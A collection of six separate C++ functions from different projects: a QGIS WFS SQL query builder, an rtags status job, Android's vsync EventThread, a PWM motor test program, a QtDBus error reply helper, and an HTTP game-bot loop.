void QgsWFSSourceSelect::buildQuery( const QModelIndex& index ) { if ( !index.isValid() ) { return; } const QString typeName = index.sibling( index.row(), MODEL_IDX_NAME ).data().toString(); //get available fields for wfs layer QgsWFSConnection connection( cmbConnections->currentText() ); QgsWFSDataSourceURI uri( connection.uri().uri() ); uri.setTypeName( typeName ); QgsWFSProvider p( uri.uri(), mCaps ); if ( !p.isValid() ) { QMessageBox* box = new QMessageBox( QMessageBox::Critical, tr( "Server exception" ), tr( "DescribeFeatureType failed" ), QMessageBox::Ok, this ); box->setAttribute( Qt::WA_DeleteOnClose ); box->setModal( true ); box->setObjectName( "WFSFeatureTypeErrorBox" ); if ( !property( "hideDialogs" ).toBool() ) box->open(); return; } QModelIndex filterIndex = index.sibling( index.row(), MODEL_IDX_SQL ); QString sql( filterIndex.data().toString() ); QString displayedTypeName( typeName ); if ( !mCaps.setAmbiguousUnprefixedTypename.contains( QgsWFSUtils::removeNamespacePrefix( typeName ) ) ) displayedTypeName = QgsWFSUtils::removeNamespacePrefix( typeName ); QString allSql( "SELECT * FROM " + QgsSQLStatement::quotedIdentifierIfNeeded( displayedTypeName ) ); if ( sql.isEmpty() ) { sql = allSql; } QgsSQLComposerDialog* d = new QgsSQLComposerDialog( this ); QgsWFSValidatorCallback* validatorCbk = new QgsWFSValidatorCallback( d, uri, allSql, mCaps ); d->setSQLValidatorCallback( validatorCbk ); QgsWFSTableSelectedCallback* tableSelectedCbk = new QgsWFSTableSelectedCallback( d, uri, mCaps ); d->setTableSelectedCallback( tableSelectedCbk ); const bool bSupportJoins = mCaps.featureTypes.size() > 1 && mCaps.supportsJoins; d->setSupportMultipleTables( bSupportJoins ); QMap< QString, QString > mapTypenameToTitle; Q_FOREACH ( const QgsWFSCapabilities::FeatureType f, mCaps.featureTypes ) mapTypenameToTitle[f.name] = f.title; QList< QgsSQLComposerDialog::PairNameTitle > tablenames; tablenames << QgsSQLComposerDialog::PairNameTitle( QgsSQLStatement::quotedIdentifierIfNeeded( displayedTypeName ), mapTypenameToTitle[typeName] ); if ( bSupportJoins ) { for ( int i = 0; i < mModel->rowCount(); i++ ) { const QString iterTypename = mModel->index( i, MODEL_IDX_NAME ).data().toString(); if ( iterTypename != typeName ) { QString displayedIterTypename( iterTypename ); QString unprefixedIterTypename( QgsWFSUtils::removeNamespacePrefix( iterTypename ) ); if ( !mCaps.setAmbiguousUnprefixedTypename.contains( unprefixedIterTypename ) ) displayedIterTypename = unprefixedIterTypename; tablenames << QgsSQLComposerDialog::PairNameTitle( QgsSQLStatement::quotedIdentifierIfNeeded( displayedIterTypename ), mapTypenameToTitle[iterTypename] ); } } } d->addTableNames( tablenames ); QList< QgsSQLComposerDialog::Function> functionList; Q_FOREACH ( const QgsWFSCapabilities::Function& f, mCaps.functionList ) { QgsSQLComposerDialog::Function dialogF; dialogF.name = f.name; dialogF.returnType = f.returnType; dialogF.minArgs = f.minArgs; dialogF.maxArgs = f.maxArgs; Q_FOREACH ( const QgsWFSCapabilities::Argument& arg, f.argumentList ) { dialogF.argumentList << QgsSQLComposerDialog::Argument( arg.name, arg.type ); } functionList << dialogF; } d->addFunctions( functionList ); QList< QgsSQLComposerDialog::Function> spatialPredicateList; Q_FOREACH ( const QgsWFSCapabilities::Function& f, mCaps.spatialPredicatesList ) { QgsSQLComposerDialog::Function dialogF; dialogF.name = f.name; dialogF.returnType = f.returnType; dialogF.minArgs = f.minArgs; dialogF.maxArgs = f.maxArgs; Q_FOREACH ( const QgsWFSCapabilities::Argument& arg, f.argumentList ) { dialogF.argumentList << QgsSQLComposerDialog::Argument( arg.name, arg.type ); } spatialPredicateList << dialogF; } d->addSpatialPredicates( spatialPredicateList ); QList< QgsSQLComposerDialog::PairNameType> fieldList; QString fieldNamePrefix; if ( bSupportJoins ) { fieldNamePrefix = QgsSQLStatement::quotedIdentifierIfNeeded( displayedTypeName ) + "."; } Q_FOREACH ( const QgsField& field, p.fields().toList() ) { QString fieldName( fieldNamePrefix + QgsSQLStatement::quotedIdentifierIfNeeded( field.name() ) ); fieldList << QgsSQLComposerDialog::PairNameType( fieldName, field.typeName() ); } if ( !p.geometryAttribute().isEmpty() ) { QString fieldName( fieldNamePrefix + QgsSQLStatement::quotedIdentifierIfNeeded( p.geometryAttribute() ) ); fieldList << QgsSQLComposerDialog::PairNameType( fieldName, "geometry" ); } fieldList << QgsSQLComposerDialog::PairNameType( fieldNamePrefix + "*", "" ); d->addColumnNames( fieldList, QgsSQLStatement::quotedIdentifierIfNeeded( displayedTypeName ) ); d->setSql( sql ); d->setAttribute( Qt::WA_DeleteOnClose ); d->setModal( true ); // For testability, do not use exec() if ( !property( "hideDialogs" ).toBool() ) d->open(); connect( d, SIGNAL( accepted() ), this, SLOT( updateSql() ) ); mSQLIndex = index; mSQLComposerDialog = d; }
int StatusJob::execute() { auto match = [this](const char *name) { return !strncasecmp(query.constData(), name, query.size()); }; bool matched = false; const char *alternatives = "fileids|watchedpaths|dependencies|cursors|symbols|targets|symbolnames|sources|jobs|info|compilers|headererrors|memory"; if (match("fileids")) { matched = true; if (!write(delimiter) || !write("fileids") || !write(delimiter)) return 1; const Hash<uint32_t, Path> paths = Location::idsToPaths(); for (Hash<uint32_t, Path>::const_iterator it = paths.begin(); it != paths.end(); ++it) { if (!write<256>(" %u: %s", it->first, it->second.constData())) return 1; } if (isAborted()) return 1; } if (match("headererrors")) { matched = true; if (!write(delimiter) || !write("headererrors") || !write(delimiter)) return 1; for (auto err : Server::instance()->jobScheduler()->headerErrors()) { if (!write(Location::path(err))) return 1; } if (isAborted()) return 1; } if (query.isEmpty() || match("info")) { matched = true; if (!write(delimiter) || !write("info") || !write(delimiter)) return 1; String out; Log log(&out); #ifdef NDEBUG out << "Running a release build\n"; #else out << "Running a debug build\n"; #endif const Server::Options &opt = Server::instance()->options(); out << "socketFile" << opt.socketFile << '\n' << "dataDir" << opt.dataDir << '\n' << "options" << opt.options << "jobCount" << opt.jobCount << '\n' << "rpVisitFileTimeout" << opt.rpVisitFileTimeout << '\n' << "rpIndexDataMessageTimeout" << opt.rpIndexDataMessageTimeout << '\n' << "rpConnectTimeout" << opt.rpConnectTimeout << '\n' << "rpConnectTimeout" << opt.rpConnectTimeout << '\n' << "threadStackSize" << opt.threadStackSize << '\n' << "defaultArguments" << opt.defaultArguments << '\n' << "includePaths" << opt.includePaths << '\n' << "defines" << opt.defines << '\n' << "ignoredCompilers" << opt.ignoredCompilers; write(out); } std::shared_ptr<Project> proj = project(); if (!proj) { if (!matched) write(alternatives); return matched ? 0 : 1; } if (query.isEmpty() || match("watchedpaths")) { matched = true; if (!write(delimiter) || !write("watchedpaths") || !write(delimiter)) return 1; Hash<Path, Flags<Project::WatchMode> > watched = proj->watchedPaths(); auto watchModeToString = [](Flags<Project::WatchMode> mode) { List<String> ret; if (mode & Project::Watch_FileManager) ret << "filemanager"; if (mode & Project::Watch_SourceFile) ret << "source"; if (mode & Project::Watch_Dependency) ret << "dependency"; if (mode & Project::Watch_CompilationDatabase) ret << "compilationdatabase"; return String::join(ret, '|'); }; for (const auto &it : watched) { if (!write<256>(" %s (%s)", it.first.constData(), watchModeToString(it.second).constData())) { return 1; } } } const Dependencies &deps = proj->dependencies(); if (query.isEmpty() || match("dependencies")) { matched = true; if (!write(delimiter) || !write("dependencies") || !write(delimiter)) return 1; for (auto it : deps) { write(proj->dumpDependencies(it.first)); } if (isAborted()) return 1; } if (query.isEmpty() || match("symbols") || match("cursors")) { matched = true; write(delimiter); write("symbols"); write(delimiter); for (const auto &dep : deps) { auto symbols = proj->openSymbols(dep.first); if (!symbols) continue; const int count = symbols->count(); for (int i=0; i<count; ++i) { const Location loc = symbols->keyAt(i); const Symbol c = symbols->valueAt(i); write(loc); write(c); write("------------------------"); if (isAborted()) return 1; } } } if (query.isEmpty() || match("targets")) { matched = true; write(delimiter); write("targets"); write(delimiter); for (const auto &dep : deps) { auto targets = proj->openTargets(dep.first); if (!targets) continue; const int count = targets->count(); for (int i=0; i<count; ++i) { const String usr = targets->keyAt(i); write<128>(" %s", usr.constData()); for (const auto &t : proj->findByUsr(usr, dep.first, Project::ArgDependsOn)) { write<1024>(" %s\t%s", t.location.toString(locationToStringFlags()).constData(), t.kindSpelling().constData()); } for (const auto &location : targets->valueAt(i)) { write<1024>(" %s", location.toString(locationToStringFlags()).constData()); } write("------------------------"); if (isAborted()) return 1; } } } if (query.isEmpty() || match("symbolnames")) { matched = true; write(delimiter); write("symbolnames"); write(delimiter); for (const auto &dep : deps) { auto symNames = proj->openSymbolNames(dep.first); if (!symNames) continue; const int count = symNames->count(); for (int i=0; i<count; ++i) { write<128>(" %s", symNames->keyAt(i).constData()); for (const Location &loc : symNames->valueAt(i)) { write<1024>(" %s", loc.toString().constData()); } write("------------------------"); if (isAborted()) return 1; } } } if (query.isEmpty() || match("sources")) { matched = true; const Sources &map = proj->sources(); if (!write(delimiter) || !write("sources") || !write(delimiter)) return 1; for (Sources::const_iterator it = map.begin(); it != map.end(); ++it) { if (!write<512>(" %s: %s", it->second.sourceFile().constData(), it->second.toString().constData())) return 1; } } if (query.isEmpty() || match("jobs")) { matched = true; if (!write(delimiter) || !write("jobs") || !write(delimiter)) return 1; Server::instance()->dumpJobs(connection()); } if (query.isEmpty() || match("compilers")) { matched = true; if (!write(delimiter) || !write("compilers") || !write(delimiter)) return 1; Source source; for (const Path &compiler : CompilerManager::compilers()) { source.compilerId = Location::insertFile(compiler); source.defines.clear(); source.includePaths.clear(); CompilerManager::applyToSource(source, true, true); write(compiler); write(" Defines:"); for (const auto &it : source.defines) write<512>(" %s", it.toString().constData()); write(" Includepaths:"); for (const auto &it : source.includePaths) write<512>(" %s", it.toString().constData()); write(""); } } if (query.isEmpty() || match("memory")) { write(proj->estimateMemory()); matched = true; } if (!matched) { write<256>("rc -s %s", alternatives); return 1; } else { return 0; } }
// This will return when (1) a vsync event has been received, and (2) there was // at least one connection interested in receiving it when we started waiting. Vector< sp<EventThread::Connection> > EventThread::waitForEvent( DisplayEventReceiver::Event* event) { Mutex::Autolock _l(mLock); Vector< sp<EventThread::Connection> > signalConnections; do { bool eventPending = false; bool waitForVSync = false; size_t vsyncCount = 0; nsecs_t timestamp = 0; for (int32_t i=0 ; i<HWC_DISPLAY_TYPES_SUPPORTED ; i++) { timestamp = mVSyncEvent[i].header.timestamp; if (timestamp) { // we have a vsync event to dispatch *event = mVSyncEvent[i]; mVSyncEvent[i].header.timestamp = 0; vsyncCount = mVSyncEvent[i].vsync.count; break; } } if (!timestamp) { // no vsync event, see if there are some other event eventPending = !mPendingEvents.isEmpty(); if (eventPending) { // we have some other event to dispatch *event = mPendingEvents[0]; mPendingEvents.removeAt(0); } } // find out connections waiting for events size_t count = mDisplayEventConnections.size(); for (size_t i=0 ; i<count ; i++) { sp<Connection> connection(mDisplayEventConnections[i].promote()); if (connection != NULL) { bool added = false; if (connection->count >= 0) { // we need vsync events because at least // one connection is waiting for it waitForVSync = true; if (timestamp) { // we consume the event only if it's time // (ie: we received a vsync event) if (connection->count == 0) { // fired this time around connection->count = -1; signalConnections.add(connection); added = true; } else if (connection->count == 1 || (vsyncCount % connection->count) == 0) { // continuous event, and time to report it signalConnections.add(connection); added = true; } } } if (eventPending && !timestamp && !added) { // we don't have a vsync event to process // (timestamp==0), but we have some pending // messages. signalConnections.add(connection); } } else { // we couldn't promote this reference, the connection has // died, so clean-up! mDisplayEventConnections.removeAt(i); --i; --count; } } // Here we figure out if we need to enable or disable vsyncs if (timestamp && !waitForVSync) { // we received a VSYNC but we have no clients // don't report it, and disable VSYNC events disableVSyncLocked(); } else if (!timestamp && waitForVSync) { // we have at least one client, so we want vsync enabled // (TODO: this function is called right after we finish // notifying clients of a vsync, so this call will be made // at the vsync rate, e.g. 60fps. If we can accurately // track the current state we could avoid making this call // so often.) enableVSyncLocked(); } // note: !timestamp implies signalConnections.isEmpty(), because we // don't populate signalConnections if there's no vsync pending if (!timestamp && !eventPending) { // wait for something to happen if (waitForVSync) { // This is where we spend most of our time, waiting // for vsync events and new client registrations. // // If the screen is off, we can't use h/w vsync, so we // use a 16ms timeout instead. It doesn't need to be // precise, we just need to keep feeding our clients. // // We don't want to stall if there's a driver bug, so we // use a (long) timeout when waiting for h/w vsync, and // generate fake events when necessary. bool softwareSync = mUseSoftwareVSync; nsecs_t timeout = softwareSync ? ms2ns(16) : ms2ns(1000); if (mCondition.waitRelative(mLock, timeout) == TIMED_OUT) { if (!softwareSync) { ALOGW("Timed out waiting for hw vsync; faking it"); } // FIXME: how do we decide which display id the fake // vsync came from ? mVSyncEvent[0].header.type = DisplayEventReceiver::DISPLAY_EVENT_VSYNC; mVSyncEvent[0].header.id = HWC_DISPLAY_PRIMARY; mVSyncEvent[0].header.timestamp = systemTime(SYSTEM_TIME_MONOTONIC); mVSyncEvent[0].vsync.count++; } } else { // Nobody is interested in vsync, so we just want to sleep. // h/w vsync should be disabled, so this will wait until we // get a new connection, or an existing connection becomes // interested in receiving vsync again. mCondition.wait(mLock); } } } while (signalConnections.isEmpty()); // here we're guaranteed to have a timestamp and some connections to signal // (The connections might have dropped out of mDisplayEventConnections // while we were asleep, but we'll still have strong references to them.) return signalConnections; }
int main(int argc, char **argv) { try { I2C connection("/dev/i2c-1"); PWM pwm(&connection, 0x40); pwm.setFrequency(50); // Prime motors std::cout << "Priming..." << std::endl; Motor *motors[4]; motors[0] = new Motor(&pwm, 0, 1.25, 1.4f); motors[1] = new Motor(&pwm, 2, 1.25, 1.4f); motors[2] = new Motor(&pwm, 5, 1.25, 1.4f); motors[3] = new Motor(&pwm, 7, 1.25, 1.4f); // for (int i = 0; i < 4; ++i) // motors[i] = new Motor(&pwm, i, 1.25f, 1.4f); usleep(3000000); std::cout << "Primed motors on channels 0, 2, 5, and 7" << std::endl; char buffer[10]; bool running = true; double speed = 0.0f; while (running) { for (int i = 0; i < 4; ++i) motors[i]->setSpeed(speed / 100.0f); std::cout << "Set speed to " << speed << "%" << std::endl; std::cout << "Enter new speed (%) : "; std::cin.getline(buffer, 10); if (strlen(buffer) == 0) running = false; else speed = atof(buffer); } std::cout << "Exiting..." << std::endl << "Setting speed to 0%" << std::endl; for (int i = 0; i < 4; ++i) motors[i]->setSpeed(0.0f); usleep(1000000); for (int i = 0; i < 4; ++i) delete motors[i]; } catch (PWMException &e) { std::cerr << "PWM EXCEPTION: " << e.getDescription() << std::endl; return -1; } catch (I2CException &e) { std::cerr << "I2C EXCEPTION: " << e.getDescription() << std::endl; return -1; } catch (Exception &e) { std::cerr << "EXCEPTION: " << e.getDescription() << std::endl; return -1; } std::cout << "Done!" << std::endl; return 0; }
/*! Sends an error \a name as a reply to the caller. The optional \a msg parameter is a human-readable text explaining the failure. If an error is sent, the return value and any output parameters from the called slot will be ignored by QtDBus. */ void QDBusContext::sendErrorReply(const QString &name, const QString &msg) const { setDelayedReply(true); connection().send(message().createErrorReply(name, msg)); }
Game play_game(const Options& options, Rng& rng) { static const boost::regex re_url("^(?:http://)?([^/]+)(/.*)$"); HTTPConnection connection(options.server_name); connection.proxy = options.proxy; const PTree& initial_json = connection.get_initial_state_json(options); //std::cout << initial_json; boost::match_results<std::string::const_iterator> what; if (!regex_search(initial_json.get<std::string>("playUrl"), what, re_url)) throw std::runtime_error("can't parse play url"); const std::string play_server_name(what[1].first, what[1].second); const std::string play_end_point(what[2].first, what[2].second); const std::string& view_url = initial_json.get<std::string>("viewUrl"); std::cout << "view game at " << view_url << std::endl; double start_time = get_double_time(); if (options.collect_map) { // collect maps const Tiles tiles = get_tiles(initial_json.get_child("game.board")); const HashedPair<Tiles> hashed_tiles(tiles); std::stringstream ss; ss << "map_" << std::hex << hashed_tiles.hash << std::dec << ".txt"; std::cout << "saving " << ss.str() << std::endl; std::ofstream handle(ss.str().c_str()); handle << hashed_tiles.value; handle.close(); } Game game(initial_json); #if defined(BOTUCT) || defined(BOTMULTI) Bot bot(game, options.uct_constant, options.max_mc_depth, rng); #elif defined(BOTRANDOM) Bot bot(game, rng); #else Bot bot(game); #endif #if defined(REPORTING) Reports reports; #endif while (!game.is_finished()) { OmpFlag continue_flag(true); std::cout << std::endl; std::cout << "======================================== " << clock_it(get_double_time() - start_time) << std::endl; game.status(std::cout); std::cout << "++++++++++++++++++++++++++++++++++++++++ " << clock_it(get_double_time() - start_time) << std::endl; #if defined(REPORTING) Report report_aa = bot.crunch_it_baby(game, continue_flag, start_time, TURN_DURATION); report_aa.type = 1; reports.push_back(report_aa); #else bot.crunch_it_baby(game, continue_flag, start_time, TURN_DURATION); #endif const Direction direction = bot.get_move(game); std::cout << "bot direction " << direction << std::endl; bot.advance_game(game, direction); //game.status(std::cout); std::cout << "---------------------------------------- " << clock_it(get_double_time() - start_time) << std::endl; std::cout << "view game at " << view_url << std::endl; PTree new_json; double request_start_time; double request_end_time; #if defined(OPENMP_FOUND) #pragma omp parallel sections default(shared) shared(new_json, request_end_time, request_start_time, continue_flag, play_end_point, play_server_name, start_time, bot, game) { #pragma omp section #endif { request_start_time = get_double_time(); new_json = connection.get_new_state_json(play_end_point, direction); request_end_time = get_double_time(); continue_flag.reset(); } #if defined(OPENMP_FOUND) #pragma omp section { #if defined(REPORTING) Report report_bb = bot.crunch_it_baby(game, continue_flag, start_time, 4); report_bb.type = 2; reports.push_back(report_bb); #else bot.crunch_it_baby(game, continue_flag, start_time, 4); #endif } } #endif game.state.update(new_json); game.update(new_json); std::cout << "request took " << clock_it(request_end_time-request_start_time) << std::endl; //game.status(std::cout); std::cout << "======================================== " << clock_it(get_double_time() - start_time) << std::endl; start_time = get_double_time(); } assert( game.is_finished() ); #if defined(REPORTING) save_report_file(reports, "report.txt"); #endif return game; }